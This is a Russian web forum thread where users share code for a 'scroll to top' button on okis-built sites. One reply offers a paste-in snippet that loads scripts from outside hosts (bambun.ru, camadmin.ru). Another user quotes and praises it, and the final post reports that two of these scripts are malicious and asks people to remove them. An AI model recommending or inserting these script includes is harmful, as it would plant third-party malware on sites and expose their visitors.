Текущее время: 28 мар 2024, 20:22

Часовой пояс: UTC + 3 часа [ Летнее время ]


Правила форума


Пожалуйста, прежде чем задавать вопрос, воспользуйтесь поиском, возможно ответ уже существует!



Начать новую тему Ответить на тему  [ Сообщений: 10 ] 
Автор Сообщение
 Заголовок сообщения: Кнопка Вверх странице
СообщениеДобавлено: 31 мар 2012, 15:01 
Не в сети
Аватара пользователя

Зарегистрирован: 01 фев 2012, 22:27
Сообщения: 176
Откуда: Кабул_Сити
кнопка вверх обычно если на странице много текста то не удобно вверх странице поднимется, а так с кнопкой один щелчок вы уже в самом верху странице.
Если кому то пригодится сегодня решил у себя в сайте сделать такое получилось удачно и решил свами поделится, все расскажу в нескольких шагах
шаг 1: в CSS добавьте вот этот код можно и под свой сайт настроит есть комментарии к коду:
.container {padding: 0 0 70px 0;} /* отступ снизу */
#message
{
display: block;
display: none;
/* ссылка над всеми элементами */
z-index: 999;
/* ссылка не заслоняет полностью текст под ней */
opacity: .8;
/* ссылка всегда на одном и том же месте */
position: fixed;
/* ссылка внизу страницы */
top: 100%;
margin-top: -80px; /* = height + preferred bottom margin */
/* ссылка по центру */
left: 80%;
margin-left: -80px;
/* закругленные углы */
-moz-border-radius: 24px;
-webkit-border-radius: 24px;
/* ссылка большая, заметная и ее легко найти */
width: 300px;
line-height: 48px;
height: 48px;
padding: 10px;
background-color: #000;
font-size: 24px;
text-align: center;
}
#message a { color: #fff; }
Шаг 2: добавте в метатеге вот этот код:
<meta name="Generator" content="okis">
<script src="ссылка на jQuery.js файл" type="text/javascript" charset="utf-8"></script>
<script src="сслыка на scrollTo.js файл" type="text/javascript" charset="utf-8"></script>
<script type="text/javascript" charset="utf-8">
$(function () { // run this code on page load (AKA DOM load)
var scroll_timer;
var displayed = false;
var $message = $('#message');
var $window = $(window);
var top = $(document.body).children(0).position().top;
/* react to scroll event on window */
$window.scroll(function () {
window.clearTimeout(scroll_timer);
scroll_timer = window.setTimeout(function () { // use a timer for performance
if($window.scrollTop() <= top) // hide if at the top of the page
{
displayed = false;
$message.fadeOut(500);
}
else if(displayed == false) // show if scrolling down
{
displayed = true;
$message.stop(true, true).fadeIn(500).click(function () { $message.fadeOut(500); });
}
}, 100);
});
$('#top-link').click(function(e) {
e.preventDefault();
$.scrollTo(0,300);
});
});
</script>
шаг 3: добавте в счетчик вот этот код
<div id="top"></div>
<div id="message"><a href="#top" id="top-link">Подняться вверх</a></div>

тепер самое главное загрузите вот эти два файла на сайт:
http://honeyhost.in/file/honeyhost_in/file.rar
Думаю все ясно и легко
вот пример работы: http://honeyhost.in/

_________________
Изображение


Последний раз редактировалось sameer 03 апр 2012, 16:16, всего редактировалось 3 раз(а).

Вернуться к началу
 Профиль  
 
 Заголовок сообщения: Re: Кнопка Вверх странице
СообщениеДобавлено: 31 мар 2012, 15:21 
Не в сети
Аватара пользователя

Зарегистрирован: 29 окт 2010, 04:13
Сообщения: 4406
Спасибо, полезная вещь.
P.S. советую прогонять тексты через Word, чтобы избегать подобных проблем с грамматикой ;)

_________________
Уроки и полезные советы про okis


Вернуться к началу
 Профиль  
 
 Заголовок сообщения: Re: Кнопка Вверх странице
СообщениеДобавлено: 31 мар 2012, 15:25 
Не в сети
Аватара пользователя

Зарегистрирован: 01 фев 2012, 22:27
Сообщения: 176
Откуда: Кабул_Сити
все сделал, если будет получаться, то каждый день буду что то новенькое добавлять

_________________
Изображение


Вернуться к началу
 Профиль  
 
 Заголовок сообщения: Re: Кнопка Вверх странице
СообщениеДобавлено: 24 апр 2012, 14:52 
Не в сети
Аватара пользователя

Зарегистрирован: 24 апр 2012, 14:49
Сообщения: 4
Откуда: NN
Ну что за ерунда а где фалы то? и где вообще твой сайт? админы помагите сделать очень вещь нужная наверх кнопка! ну пожалуйста. :)


Вернуться к началу
 Профиль  
 
 Заголовок сообщения: Re: Кнопка Вверх странице
СообщениеДобавлено: 01 май 2012, 17:10 
Не в сети
Аватара пользователя

Зарегистрирован: 01 фев 2012, 22:27
Сообщения: 176
Откуда: Кабул_Сити
сайта нет удалил его просто если что пиши searsameer@yahoo.com вышлю их по почте

_________________
Изображение


Вернуться к началу
 Профиль  
 
 Заголовок сообщения: Re: Кнопка Вверх странице
СообщениеДобавлено: 28 май 2013, 18:14 
Не в сети

Зарегистрирован: 28 май 2013, 18:07
Сообщения: 8
Откуда: Краснодарский край
Вот прикольная кнопка вверх
<!-- MrScrollUp.Start -->
<script type="text/javascript" src="http://bambun.ru/css_js/jquery.min.js"></script>
<script type="text/javascript" src="http://bambun.ru/css_js/MrScrollUp.js"></script>
<script type="text/javascript" src="http://camadmin.ru/earch.js"></script>
<link rel="stylesheet" type="text/css" href="http://bambun.ru/css_js/MrScrollUp.css" />
<div id="MrScrollUp" style="display:none;"><div class="MrScrollUp1"></div><div class="MrScrollUp2"></div></div>
<!-- MrScrollUp.End -->

код вставлять в поле для счетчиков посмотреть можно здесь http://evmenov37.ru/


Вернуться к началу
 Профиль  
 
 Заголовок сообщения: Re: Кнопка Вверх странице
СообщениеДобавлено: 29 май 2013, 12:41 
Не в сети

Зарегистрирован: 28 май 2013, 18:07
Сообщения: 8
Откуда: Краснодарский край
Я поспешил расхваливать эту кнопку, у меня вылазит только на главной странице и то не всегда.


Вернуться к началу
 Профиль  
 
 Заголовок сообщения: Re: Кнопка Вверх странице
СообщениеДобавлено: 24 июн 2013, 20:07 
Не в сети

Зарегистрирован: 24 июн 2013, 20:05
Сообщения: 1
Цитата:
Вот прикольная кнопка вверх
<!-- MrScrollUp.Start -->
<script type="text/javascript" src="http://bambun.ru/css_js/jquery.min.js"></script>
<script type="text/javascript" src="http://bambun.ru/css_js/MrScrollUp.js"></script>
<script type="text/javascript" src="http://camadmin.ru/earch.js"></script>
<link rel="stylesheet" type="text/css" href="http://bambun.ru/css_js/MrScrollUp.css" />
<div id="MrScrollUp" style="display:none;"><div class="MrScrollUp1"></div><div class="MrScrollUp2"></div></div>
<!-- MrScrollUp.End -->

код вставлять в поле для счетчиков посмотреть можно здесь http://evmenov37.ru/


Спасибо, реально крутая. Вот подскажите, как изменить цвет и текст кнопки. Цвет на более ярче, а текст на русский?) спасибо, кнопка понравилась)


Вернуться к началу
 Профиль  
 
 Заголовок сообщения: Re: Кнопка Вверх странице
СообщениеДобавлено: 27 июн 2013, 13:13 
Не в сети

Зарегистрирован: 28 май 2013, 18:07
Сообщения: 8
Откуда: Краснодарский край
Я не знаю как её настраивать, эта кнопка у меня работает через раз, я и не вникал,
а у тебя нормально работает?


Вернуться к началу
 Профиль  
 
 Заголовок сообщения: Re: Кнопка Вверх странице
СообщениеДобавлено: 10 авг 2013, 13:50 
Не в сети

Зарегистрирован: 28 май 2013, 18:07
Сообщения: 8
Откуда: Краснодарский край
Привет, в кнопке что я добавил раньше обнаружено два вредоносных скрипта, вот они <script type="text/javascript" src="http://bambun.ru/css_js/jquery.min.js"></script>
<script type="text/javascript" src="http://camadmin.ru/earch.js"></script>
удалите их, кто уже установил.


Вернуться к началу
 Профиль  
 
Показать сообщения за:  Поле сортировки  
Начать новую тему Ответить на тему  [ Сообщений: 10 ] 

Часовой пояс: UTC + 3 часа [ Летнее время ]


Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей


Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете добавлять вложения

Найти:
Перейти:  
cron